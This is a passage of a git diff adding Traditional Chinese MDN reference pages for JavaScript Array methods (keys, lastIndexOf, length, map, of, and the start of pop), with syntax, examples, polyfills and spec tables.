+<div>{{EmbedInteractiveExample("pages/js/array-keys.html")}}</div>
+
+
+
+<h2 id="語法">語法</h2>
+
+<pre class="syntaxbox"><var>arr</var>.keys()</pre>
+
+<h3 id="回傳值">回傳值</h3>
+
+<p>一個新的 {{jsxref("Array")}} 迭代器（iterator）物件。</p>
+
+<h2 id="範例">範例</h2>
+
+<h3 id="鍵迭代器不會乎略陣列中的空元素">鍵迭代器不會乎略陣列中的空元素</h3>
+
+<pre class="brush: js">var arr = ['a', , 'c'];
+var sparseKeys = Object.keys(arr);
+var denseKeys = [...arr.keys()];
+console.log(sparseKeys); // ['0', '2']
+console.log(denseKeys);  // [0, 1, 2]
+</pre>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-array.prototype.keys', 'Array.prototype.keys')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-array.prototype.keys', 'Array.prototype.keys')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.Array.keys")}}</p>
+</div>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.values()")}}</li>
+ <li>{{jsxref("Array.prototype.entries()")}}</li>
+ <li><a href="/zh-TW/docs/Web/JavaScript/Reference/Iteration_protocols">迭代協議</a></li>
+</ul>
diff --git a/files/zh-tw/web/javascript/reference/global_objects/array/lastindexof/index.html b/files/zh-tw/web/javascript/reference/global_objects/array/lastindexof/index.html
new file mode 100644
index 0000000000..930b45d3e3
--- /dev/null
+++ b/files/zh-tw/web/javascript/reference/global_objects/array/lastindexof/index.html
@@ -0,0 +1,168 @@
+---
+title: Array.prototype.lastIndexOf()
+slug: Web/JavaScript/Reference/Global_Objects/Array/lastIndexOf
+tags:
+  - Array
+  - ECMAScript 5
+  - JavaScript
+  - Method
+  - Prototype
+  - polyfill
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/lastIndexOf
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>lastIndexOf()</strong></code> 方法會回傳給定元素於陣列中最後一個被找到之索引，若不存在於陣列中則回傳 -1。搜尋的方向為由陣列尾部向後（即向前）尋找，啟始於 <code>fromIndex</code>。</p>
+
+<div>{{EmbedInteractiveExample("pages/js/array-lastindexof.html")}}</div>
+
+
+
+<h2 id="語法">語法</h2>
+
+<pre class="syntaxbox"><var>arr</var>.lastIndexOf(<var>searchElement</var>)
+<var>arr</var>.lastIndexOf(<var>searchElement</var>, <var>fromIndex</var>)
+</pre>
+
+<h3 id="參數">參數</h3>
+
+<dl>
+ <dt><code>searchElement</code></dt>
+ <dd>欲在陣列中搜尋的元素。</dd>
+ <dt><code>fromIndex</code> {{optional_inline}}</dt>
+ <dd>要由陣列尾部向後（即向前）搜尋的啟始索引。預設為陣列長度減一（<code>arr.length - 1</code>），即會搜尋整個陣列。假如索引大於等於陣列長度，會搜尋整個陣列。如果索引值為負數，會從陣列的最後一個往回算，最後一個的索引值為 -1，以此類推。注意：儘管往回算，但依然會從右往左全部搜尋。如果負數索引值在回頭計算之後仍然小於 0，將會回傳 -1，即不會搜尋陣列。</dd>
+</dl>
+
+<h3 id="回傳值">回傳值</h3>
+
+<p>在陣列中找到的最後一個元素索引值；沒找到則為 <strong>-1</strong>。</p>
+
+<h2 id="描述">描述</h2>
+
+<p><code>lastIndexOf</code> compares <code>searchElement</code> to elements of the Array using <a href="/en-US/docs/Web/JavaScript/Reference/Operators/Comparison_Operators#Using_the_Equality_Operators">strict equality</a> (the same method used by the ===, or triple-equals, operator).</p>
+
+<h2 id="範例">範例</h2>
+
+<h3 id="使用_lastIndexOf">使用 <code>lastIndexOf</code></h3>
+
+<p>The following example uses <code>lastIndexOf</code> to locate values in an array.</p>
+
+<pre class="brush: js">var numbers = [2, 5, 9, 2];
+numbers.lastIndexOf(2);     // 3
+numbers.lastIndexOf(7);     // -1
+numbers.lastIndexOf(2, 3);  // 3
+numbers.lastIndexOf(2, 2);  // 0
+numbers.lastIndexOf(2, -2); // 0
+numbers.lastIndexOf(2, -1); // 3
+</pre>
+
+<h3 id="尋找該元素所有出現在陣列中的位置">尋找該元素所有出現在陣列中的位置</h3>
+
+<p>The following example uses <code>lastIndexOf</code> to find all the indices of an element in a given array, using {{jsxref("Array.prototype.push", "push")}} to add them to another array as they are found.</p>
+
+<pre class="brush: js">var indices = [];
+var array = ['a', 'b', 'a', 'c', 'a', 'd'];
+var element = 'a';
+var idx = array.lastIndexOf(element);
+while (idx != -1) {
+  indices.push(idx);
+  idx = (idx &gt; 0 ? array.lastIndexOf(element, idx - 1) : -1);
+}
+
+console.log(indices);
+// [4, 2, 0]
+</pre>
+
+<p>Note that we have to handle the case <code>idx == 0</code> separately here because the element will always be found regardless of the <code>fromIndex</code> parameter if it is the first element of the array. This is different from the {{jsxref("Array.prototype.indexOf", "indexOf")}} method.</p>
+
+<h2 id="Polyfill">Polyfill</h2>
+
+<p><code>lastIndexOf</code> was added to the ECMA-262 standard in the 5th edition; as such it may not be present in other implementations of the standard. You can work around this by inserting the following code at the beginning of your scripts, allowing use of <code>lastIndexOf</code> in implementations which do not natively support it. This algorithm is exactly the one specified in ECMA-262, 5th edition, assuming {{jsxref("Object")}}, {{jsxref("TypeError")}}, {{jsxref("Number")}}, {{jsxref("Math.floor")}}, {{jsxref("Math.abs")}}, and {{jsxref("Math.min")}} have their original values.</p>
+
+<pre class="brush: js">// Production steps of ECMA-262, Edition 5, 15.4.4.15
+// Reference: http://es5.github.io/#x15.4.4.15
+if (!Array.prototype.lastIndexOf) {
+  Array.prototype.lastIndexOf = function(searchElement /*, fromIndex*/) {
+    'use strict';
+
+    if (this === void 0 || this === null) {
+      throw new TypeError();
+    }
+
+    var n, k,
+      t = Object(this),
+      len = t.length &gt;&gt;&gt; 0;
+    if (len === 0) {
+      return -1;
+    }
+
+    n = len - 1;
+    if (arguments.length &gt; 1) {
+      n = Number(arguments[1]);
+      if (n != n) {
+        n = 0;
+      }
+      else if (n != 0 &amp;&amp; n != (1 / 0) &amp;&amp; n != -(1 / 0)) {
+        n = (n &gt; 0 || -1) * Math.floor(Math.abs(n));
+      }
+    }
+
+    for (k = n &gt;= 0 ? Math.min(n, len - 1) : len - Math.abs(n); k &gt;= 0; k--) {
+      if (k in t &amp;&amp; t[k] === searchElement) {
+        return k;
+      }
+    }
+    return -1;
+  };
+}
+</pre>
+
+<p>Again, note that this implementation aims for absolute compatibility with <code>lastIndexOf</code> in Firefox and the SpiderMonkey JavaScript engine, including in several cases which are arguably edge cases. If you intend to use this in real-world applications, you may be able to calculate <code>from</code> with less complicated code if you ignore those cases.</p>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.4.4.15', 'Array.prototype.lastIndexOf')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Initial definition. Implemented in JavaScript 1.6.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-array.prototype.lastindexof', 'Array.prototype.lastIndexOf')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-array.prototype.lastindexof', 'Array.prototype.lastIndexOf')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.Array.lastIndexOf")}}</p>
+</div>
+
+<h2 id="相容性備註">相容性備註</h2>
+
+<ul>
+ <li>Starting with Firefox 47 {{geckoRelease(47)}},  this method will no longer return <code>-0</code>. For example, <code>[0].lastIndexOf(0, -0)</code> will now always return <code>+0</code> ({{bug(1242043)}}).</li>
+</ul>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.indexOf()")}}</li>
+ <li>{{jsxref("TypedArray.prototype.lastIndexOf()")}}</li>
+</ul>
diff --git a/files/zh-tw/web/javascript/reference/global_objects/array/length/index.html b/files/zh-tw/web/javascript/reference/global_objects/array/length/index.html
new file mode 100644
index 0000000000..453564d528
--- /dev/null
+++ b/files/zh-tw/web/javascript/reference/global_objects/array/length/index.html
@@ -0,0 +1,131 @@
+---
+title: Array.length
+slug: Web/JavaScript/Reference/Global_Objects/Array/length
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/length
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>length</strong></code> 為<code>Array物件的屬性</code> ，可供設定或回傳該陣列實體中包含的元素個數。其值必為一大於零、32位元、且恆大於該陣列最大索引數的正整數。</p>
+
+<pre class="brush: js notranslate">var items = ['shoes', 'shirts', 'socks', 'sweaters'];
+items.length;
+
+// returns 4</pre>
+
+<h2 id="描述">描述</h2>
+
+<p><code>length</code> 屬性的值必為一正整數，其值必介於 0 ～ 2<sup>32</sup> (不包含)之間.</p>
+
+<pre class="brush: js notranslate">var namelistA = new Array(4294967296); //2<sup>32</sup><sup> = </sup>4294967296
+var namelistC = new Array(-100) //負數
+
+console.log(namelistA.length); //RangeError: Invalid array length
+console.log(namelistC.length); //RangeError: Invalid array length
+
+
+
+var namelistB = [];
+namelistB.length = Math.pow(2,32)-1; //將長度設定介於 0 ~ 2<sup>32 </sup>-1
+console.log(namelistB.length);
+
+//4294967295</pre>
+
+<p>你可以透過改變 <code>length</code> 屬性來改變陣列的長度。當你透過 <code>length</code> 屬性來增加陣列的長度時，陣列中實際的元素也會隨之增加。舉例來說，當你將 array.length 由 2 增加為3，則改動後該陣列即擁有3個元素，該新增的元素則會是一個不可迭代(non-iterable)的空槽(empty slot)。</p>
+
+<pre class="notranslate">const arr = [1, 2];
+console.log(arr);
+// [ 1, 2 ]
+
+arr.length = 5; // 將arr的length由2改成5
+console.log(arr);
+// [ 1, 2, &lt;3 empty items&gt; ]
+
+arr.forEach(element =&gt; console.log(element)); // 空元素無法被迭代
+// 1
+// 2</pre>
+
+<p>如上所見，<code>length</code> 屬性不盡然代表陣列中所有已定義的元素個數。詳見 <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array#Relationship_between_length_and_numerical_properties" title="Relationship between length and numerical properties">length 與數值屬性的關係</a>。</p>
+
+<p>{{js_property_attributes(1, 0, 0)}}</p>
+
+<div>
+<ul>
+ <li><code>Writable</code>: 如果此屬性值為<code>false</code>，則該屬性的內容值無法被改動。</li>
+ <li><code>Configurable</code>: 如果此屬性值為<code>false</code>，任何刪除屬性或更改其屬性的操作(<code>Writable</code>, <code>Configurable</code>, or <code>Enumerable</code>)皆會失敗。</li>
+ <li><code>Enumerable</code>: 如果此屬性值為<code>true</code>，該內容值可倍 <a href="/en-US/docs/Web/JavaScript/Reference/Statements/for">for</a> 或 <a href="/en-US/docs/Web/JavaScript/Reference/Statements/for...in">for..in</a> 迴圈迭代處理。</li>
+</ul>
+</div>
+
+<h2 id="範例">範例</h2>
+
+<h3 id="對陣列進行迭代處理">對陣列進行迭代處理</h3>
+
+<p>以下範例中, 陣列 <code>numbers</code> 透過 <code>length</code> 屬性進行迭代操作，並將其內容值加倍。</p>
+
+<pre class="brush: js notranslate">var numbers = [1, 2, 3, 4, 5];
+var length = numbers.length;
+for (var i = 0; i &lt; length; i++) {
+  numbers[i] *= 2;
+}
+// numbers 內容值變為 [2, 4, 6, 8, 10]
+</pre>
+
+<h3 id="縮減陣列">縮減陣列</h3>
+
+<p>以下範例中, 陣列 <code>numbers</code>  的長度若大於 3，則將其長度縮減至 3。</p>
+
+<pre class="brush: js notranslate">var numbers = [1, 2, 3, 4, 5];
+
+if (numbers.length &gt; 3) {
+  numbers.length = 3;
+}
+
+console.log(numbers); // [1, 2, 3]
+console.log(numbers.length); // 3
+</pre>
+
+<h2 id="規格">規格</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.4.5.2', 'Array.length')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-properties-of-array-instances-length', 'Array.length')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-properties-of-array-instances-length', 'Array.length')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.Array.length")}}</p>
+</div>
+
+<h2 id="其他">其他</h2>
+
+<ul>
+ <li>{{jsxref("Array")}}</li>
+</ul>
diff --git a/files/zh-tw/web/javascript/reference/global_objects/array/map/index.html b/files/zh-tw/web/javascript/reference/global_objects/array/map/index.html
new file mode 100644
index 0000000000..d1838ce6ae
--- /dev/null
+++ b/files/zh-tw/web/javascript/reference/global_objects/array/map/index.html
@@ -0,0 +1,320 @@
+---
+title: Array.prototype.map()
+slug: Web/JavaScript/Reference/Global_Objects/Array/map
+tags:
+  - Array
+  - ECMAScript 5
+  - ECMAScript6
+  - JavaScript
+  - Method
+  - Prototype
+  - Reference
+  - polyfill
+  - 陣列
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/map
+---
+<div>{{JSRef}}</div>
+
+<p><span class="seoSummary"><code><strong>map()</strong></code> 方法會建立一個新的陣列，其內容為原陣列的每一個元素經由回呼函式運算後所回傳的結果之集合。</span></p>
+
+<div>{{EmbedInteractiveExample("pages/js/array-map.html")}}</div>
+
+
+
+<h2 id="語法">語法</h2>
+
+<pre class="syntaxbox">let <var>new_array</var> = <var>arr</var>.map(function <var>callback</var>( <var>currentValue</var>[, <var>index</var>[, <var>array</var>]]) {
+    // return element for new_array
+}[, <var>thisArg</var>])
+</pre>
+
+<h3 id="參數">參數</h3>
+
+<dl>
+ <dt><code>callback</code></dt>
+ <dd>
+ <p>呼叫 <code><var>arr</var></code> 所有元素的回呼函式。新數值會在每次執行 <code><var>callback</var></code> 時加到 <code><var>new_array</var></code>。</p>
+
+ <p><code><var>callback</var></code> 函式可傳入以下三個參數：</p>
+
+ <dl>
+  <dt></dt>
+  <dt><code>currentValue</code></dt>
+  <dd>原陣列目前所迭代處理中的元素。</dd>
+  <dt><code>index</code>{{optional_inline}}</dt>
+  <dd>原陣列目前所迭代處理中的元素之索引。</dd>
+  <dt><code>array</code>{{optional_inline}}</dt>
+  <dd>呼叫 <code>map</code> 方法的陣列。</dd>
+ </dl>
+ </dd>
+ <dt><code>thisArg</code>{{optional_inline}}</dt>
+ <dd>選擇性的參數。執行 <code>callback</code> 回呼函式的 <code>this</code> 值。</dd>
+</dl>
+
+<h3 id="回傳值">回傳值</h3>
+
+<p>一個所有元素皆為回呼函式運算結果的新陣列。</p>
+
+<h2 id="描述">描述</h2>
+
+<p><code>map</code> 會將所有陣列中的元素依序<strong>分別傳入一次</strong>至 <code><var>callback</var></code> 函式當中，並以此回呼函式每一次被呼叫的回傳值來建構一個新的陣列。<code>callback</code> 函式只會於陣列目前迭代之索引有指派值時（包含{{jsxref("undefined")}}）被調用，而在該陣列索引沒有元素時（即未被設定的索引：已被刪除或從未被賦值）並不會呼叫回呼函式。</p>
+
+<p>它<em>並不能</em>呼叫以下元素：</p>
+
+<ul>
+ <li>不存在的索引、</li>
+ <li>沒被刪除、</li>
+ <li>沒被賦值。</li>
+</ul>
+
+<h3 id="什麼時候不要用_map">什麼時候<em>不要用</em> map()</h3>
+
+<p>因為 <code>map</code> 會建立新的陣列，如果在不想建立新陣列時使用該方法，就會變成反模式（anti-pattern）：這種情況下，要使用 <a href="/zh-TW/docs/Web/JavaScript/Reference/Global_Objects/Array/forEach"><code>forEach</code></a> 或 <a href="/zh-TW/docs/Web/JavaScript/Reference/Statements/for...of"><code>for-of</code></a>。</p>
+
+<p>以下情況不應該使用 <code>map</code>；</p>
+
+<ol>
+ <li>不使用回傳的新陣列，</li>
+ <li>或/且不需要回傳新陣列。</li>
+</ol>
+
+<p><code>callback</code> 函式於被調用時會傳入三個參數：元素值、元素之索引、以及被迭代的陣列物件。</p>
+
+<p>若有提供 <code>thisArg</code> 參數予 <code>map</code> 方法，<code>thisArg</code> 將會被當作回呼函式的 <code>this</code> 值，否則 <code>this</code> 會是 {{jsxref("undefined")}}。<code>callback</code> 的最終 <code>this</code> 值是依據<a href="/zh-TW/docs/Web/JavaScript/Reference/Operators/this">函式的 <code>this</code> 規則</a>來決定。</p>
+
+<p><code>map</code> 不會修改呼叫它的原始陣列（雖然在 <code>callback</code> 執行時有可能會這麼做）。</p>
+
+<p>由 <code>map</code> 方法所回傳之新陣列的範圍，於 <code>callback</code> 函式第一次被調用之前就已經被設定。而在呼叫 <code>map</code> 之後才加至原始陣列中的元素，將不會傳入 <code>callback</code> 當中。假如原始陣列中元素的值改變了，則 <code>callback</code> 得到此元素的值將會是 <code>map</code> 傳入元素當下的值。而在呼叫 <code>map</code> 之後、且於被 <code>map</code> 傳入 <code>callback</code> 之前就被刪除的原始陣列元素，並不會被 <code>map</code> 迭代到。<br>
+ <br>
+ 依據規範中定義的演算法，若呼叫 <code>map</code> 方法的原始陣列為一稀疏（sparse）陣列，則回傳的新陣列也會是在同樣索引中留空的稀疏陣列。</p>
+
+<h2 id="範例">範例</h2>
+
+<h3 id="把一個數字陣列轉換成對應的開根號後的數字陣列">把一個數字陣列轉換成對應的開根號後的數字陣列</h3>
+
+<p>以下的程式碼把一個數字陣列(array of numbers) 轉換成一個 <strong>新的</strong>以該數字陣列裡的一個個數做開根號計算的數字陣列.</p>
+
+<pre class="brush: js">var numbers = [1, 4, 9];
+var roots = numbers.map(Math.sqrt); //map會return一個新的array
+// roots 現在是 [1, 2, 3]
+/* numbers 還是 [1, 4, 9]，這證明了 map() 不會去變動到 numbers 的值，
+   map 內部是做了 immutable 的機制，Array.prototype 底下的這些高階函式
+   大多都具有這樣函數式編程裡非常注重的特性 - immutable，不會去改變資料
+   來源本身原有的值
+*/ </pre>
+
+<h3 id="使用_map_將陣列中的物件變更格式">使用 map 將陣列中的物件變更格式</h3>
+
+<p>以下程式碼取出一陣列，將其中物件變更格式後建立為一個新的陣列並傳回。</p>
+
+<pre class="brush: js">var kvArray = [{key: 1, value: 10},
+               {key: 2, value: 20},
+               {key: 3, value: 30}];
+
+var reformattedArray = kvArray.map(function(obj) {
+   var rObj = {};
+   rObj[obj.key] = obj.value;
+   return rObj;
+});
+
+// reformattedArray 現在是 [{1: 10}, {2: 20}, {3: 30}],
+
+// kvArray 仍然是：
+// [{key: 1, value: 10},
+//  {key: 2, value: 20},
+//  {key: 3, value: 30}]
+</pre>
+
+<h3 id="使用帶參數的函式將一數字陣列進行對應">使用帶參數的函式將一數字陣列進行對應</h3>
+
+<p>以下程式碼示範如何使用帶有一個參數的函式來操作 map。這個參數會自動地逐一取出原始陣列中各個元素來使用。</p>
+
+<pre class="brush: js">var numbers = [1, 4, 9];
+var doubles = numbers.map(function(num) {
+  return num * 2;
+});
+
+// doubles 現在是 [2, 8, 18]
+// numbers 仍然是 [1, 4, 9]
+</pre>
+
+<h3 id="使用_map_於泛型陣列">使用 <code>map</code> 於泛型陣列</h3>
+
+<p>以下範例示範如何將一個 {{jsxref("String")}} 陣列轉換為 byte 陣列:</p>
+
+<pre class="brush: js">var map = Array.prototype.map;
+var a = map.call('Hello World', function(x) {
+  return x.charCodeAt(0);
+});
+// a 現在等於 [72, 101, 108, 108, 111, 32, 87, 111, 114, 108, 100]
+</pre>
+
+<h3 id="使用_map_遍歷_querySelectorAll">使用 <code>map</code> 遍歷 <code>querySelectorAll</code></h3>
+
+<p>本範例將展示如何遍歷由 <code>querySelectorAll</code> 所產生的物件。我們將得到所有的選項、並印在主控台上：</p>
+
+<pre class="brush: js">var elems = document.querySelectorAll('select option:checked');
+var values = Array.prototype.map.call(elems, function(obj) {
+  return obj.value;
+});
+</pre>
+
+<p>如果用上 {{jsxref("Array.from()")}} 方法的話會更簡單。</p>
+
+<h3 id="棘手的範例">棘手的範例</h3>
+
+<p><a href="http://www.wirfs-brock.com/allen/posts/166">（透過連結的部落格啟發）</a></p>
+
+<p>透過一個（被遍歷元素的）參數叫出回調是個常見的用法。有些函式也常常在含有其他可選參數的情況下，使用上一個參數。這種行為常常會給人帶來困惑。</p>
+
+<pre class="brush: js">// Consider:
+['1', '2', '3'].map(parseInt);
+// 以為會是 [1, 2, 3] 嗎
+// 其實是 [1, NaN, NaN]
+
+// parseInt 通常只用上一個參數 argument，但他其實用了兩個：
+// 第一個是表達式，第二個則是進位數。
+// 對該回呼函式來說 Array.prototype.map 帶了三個參數：
+// 元素、索引、陣列
+// 第三個參數會被 parseInt 忽略，但它可不會忽略第二個，
+// 因此可能造成困惑。可以去看上面提到的部落格文章以獲知詳情。
+
+function returnInt(element) {
+  return parseInt(element, 10);
+}
+
+['1', '2', '3'].map(returnInt); // [1, 2, 3]
+// Actual result is an array of numbers (as expected)
+
+// Same as above, but using the concise arrow function syntax
+['1', '2', '3'].map( str =&gt; parseInt(str) );
+
+// A simpler way to achieve the above, while avoiding the "gotcha":
+['1', '2', '3'].map(Number); // [1, 2, 3]
+// but unlike `parseInt` will also return a float or (resolved) exponential notation:
+['1.1', '2.2e2', '3e300'].map(Number); // [1.1, 220, 3e+300]
+</pre>
+
+<h2 id="Polyfill">Polyfill</h2>
+
+<p><code>map</code> was added to the ECMA-262 standard in the 5th edition; as such it may not be present in all implementations of the standard. You can work around this by inserting the following code at the beginning of your scripts, allowing use of <code>map</code> in implementations which do not natively support it. This algorithm is exactly the one specified in ECMA-262, 5th edition, assuming {{jsxref("Object")}}, {{jsxref("TypeError")}}, and {{jsxref("Array")}} have their original values and that <code>callback.call</code> evaluates to the original value of <code>{{jsxref("Function.prototype.call")}}</code>.</p>
+
+<pre class="brush: js">// Production steps of ECMA-262, Edition 5, 15.4.4.19
+// Reference: http://es5.github.io/#x15.4.4.19
+if (!Array.prototype.map) {
+
+  Array.prototype.map = function(callback/*, thisArg*/) {
+
+    var T, A, k;
+
+    if (this == null) {
+      throw new TypeError('this is null or not defined');
+    }
+
+    // 1. Let O be the result of calling ToObject passing the |this|
+    //    value as the argument.
+    var O = Object(this);
+
+    // 2. Let lenValue be the result of calling the Get internal
+    //    method of O with the argument "length".
+    // 3. Let len be ToUint32(lenValue).
+    var len = O.length &gt;&gt;&gt; 0;
+
+    // 4. If IsCallable(callback) is false, throw a TypeError exception.
+    // See: http://es5.github.com/#x9.11
+    if (typeof callback !== 'function') {
+      throw new TypeError(callback + ' is not a function');
+    }
+
+    // 5. If thisArg was supplied, let T be thisArg; else let T be undefined.
+    if (arguments.length &gt; 1) {
+      T = arguments[1];
+    }
+
+    // 6. Let A be a new array created as if by the expression new Array(len)
+    //    where Array is the standard built-in constructor with that name and
+    //    len is the value of len.
+    A = new Array(len);
+
+    // 7. Let k be 0
+    k = 0;
+
+    // 8. Repeat, while k &lt; len
+    while (k &lt; len) {
+
+      var kValue, mappedValue;
+
+      // a. Let Pk be ToString(k).
+      //   This is implicit for LHS operands of the in operator
+      // b. Let kPresent be the result of calling the HasProperty internal
+      //    method of O with argument Pk.
+      //   This step can be combined with c
+      // c. If kPresent is true, then
+      if (k in O) {
+
+        // i. Let kValue be the result of calling the Get internal
+        //    method of O with argument Pk.
+        kValue = O[k];
+
+        // ii. Let mappedValue be the result of calling the Call internal
+        //     method of callback with T as the this value and argument
+        //     list containing kValue, k, and O.
+        mappedValue = callback.call(T, kValue, k, O);
+
+        // iii. Call the DefineOwnProperty internal method of A with arguments
+        // Pk, Property Descriptor
+        // { Value: mappedValue,
+        //   Writable: true,
+        //   Enumerable: true,
+        //   Configurable: true },
+        // and false.
+
+        // In browsers that support Object.defineProperty, use the following:
+        // Object.defineProperty(A, k, {
+        //   value: mappedValue,
+        //   writable: true,
+        //   enumerable: true,
+        //   configurable: true
+        // });
+
+        // For best browser support, use the following:
+        A[k] = mappedValue;
+      }
+      // d. Increase k by 1.
+      k++;
+    }
+
+    // 9. return A
+    return A;
+  };
+}
+</pre>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-array.prototype.map', 'Array.prototype.map')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.Array.map")}}</p>
+</div>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.forEach()")}}</li>
+ <li>{{jsxref("Map")}} object</li>
+ <li>{{jsxref("Array.from()")}}</li>
+</ul>
diff --git a/files/zh-tw/web/javascript/reference/global_objects/array/of/index.html b/files/zh-tw/web/javascript/reference/global_objects/array/of/index.html
new file mode 100644
index 0000000000..31118bbeb6
--- /dev/null
+++ b/files/zh-tw/web/javascript/reference/global_objects/array/of/index.html
@@ -0,0 +1,98 @@
+---
+title: Array.of()
+slug: Web/JavaScript/Reference/Global_Objects/Array/of
+tags:
+  - Array
+  - ECMAScript 2015
+  - JavaScript
+  - Method
+  - polyfill
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/of
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>Array.of()</strong></code> 方法會由引數（arguments）的數量來建立一個新的 <code>Array</code> 實體，而不管引數的數量或類型為何。</p>
+
+<p><code><strong>Array.of()</strong></code> 與 <code><strong>Array</strong></code> 建構式之間的不同在於如何處理整數引數：<code><strong>Array.of(7)</strong></code> 會建立一個擁有單個元素—<code>7</code>—的陣列，而 <code><strong>Array(7)</strong></code> 會建立一個 <code>length</code> 屬性值為 7 的空陣列（<strong>註：</strong>這意味著這個陣列有 7 個空缺欄位（empty slots），而非 7 個值為 <code>undefined</code> 的欄位）。</p>
+
+<pre class="brush: js">Array.of(7);       // [7]
+Array.of(1, 2, 3); // [1, 2, 3]
+
+Array(7);          // [ , , , , , , ]
+Array(1, 2, 3);    // [1, 2, 3]
+</pre>
+
+<h2 id="語法">語法</h2>
+
+<pre class="syntaxbox">Array.of(<var>element0</var>[, <var>element1</var>[, ...[, <var>elementN</var>]]])</pre>
+
+<h3 id="參數">參數</h3>
+
+<dl>
+ <dt><code>element<em>N</em></code></dt>
+ <dd>要用來成為新建立之陣列的元素。</dd>
+</dl>
+
+<h3 id="回傳值">回傳值</h3>
+
+<p>一個新的 {{jsxref("Array")}} 實體。</p>
+
+<h2 id="描述">描述</h2>
+
+<p>此函式是 ECMAScript 2015 標準的一部分。更多資訊可參考 <a href="https://gist.github.com/rwaldron/1074126"><code>Array.of</code> and <code>Array.from</code> proposal</a> 以及 <a href="https://gist.github.com/rwaldron/3186576"><code>Array.of</code> polyfill</a>。</p>
+
+<h2 id="範例">範例</h2>
+
+<pre class="brush: js">Array.of(1);         // [1]
+Array.of(1, 2, 3);   // [1, 2, 3]
+Array.of(undefined); // [undefined]
+</pre>
+
+<h2 id="Polyfill">Polyfill</h2>
+
+<p>若所有執行環境沒有原生支援，可以在其他程式之前先執行以下程式碼來建立 <code>Array.of()</code>。</p>
+
+<pre class="brush: js">if (!Array.of) {
+  Array.of = function() {
+    return Array.prototype.slice.call(arguments);
+  };
+}
+</pre>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-array.of', 'Array.of')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-array.of', 'Array.of')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.Array.of")}}</p>
+</div>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li>{{jsxref("Array")}}</li>
+ <li>{{jsxref("Array.from()")}}</li>
+ <li>{{jsxref("TypedArray.of()")}}</li>
+</ul>
diff --git a/files/zh-tw/web/javascript/reference/global_objects/array/pop/index.html b/files/zh-tw/web/javascript/reference/global_objects/array/pop/index.html
new file mode 100644
index 0000000000..3124fa26bc
--- /dev/null
+++ b/files/zh-tw/web/javascript/reference/global_objects/array/pop/index.html
@@ -0,0 +1,98 @@
+---
+title: Array.prototype.pop()
+slug: Web/JavaScript/Reference/Global_Objects/Array/pop
+tags:
+  - Array
+  - JavaScript
+  - Method
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/pop
+---
+<div>{{JSRef}}</div>
+
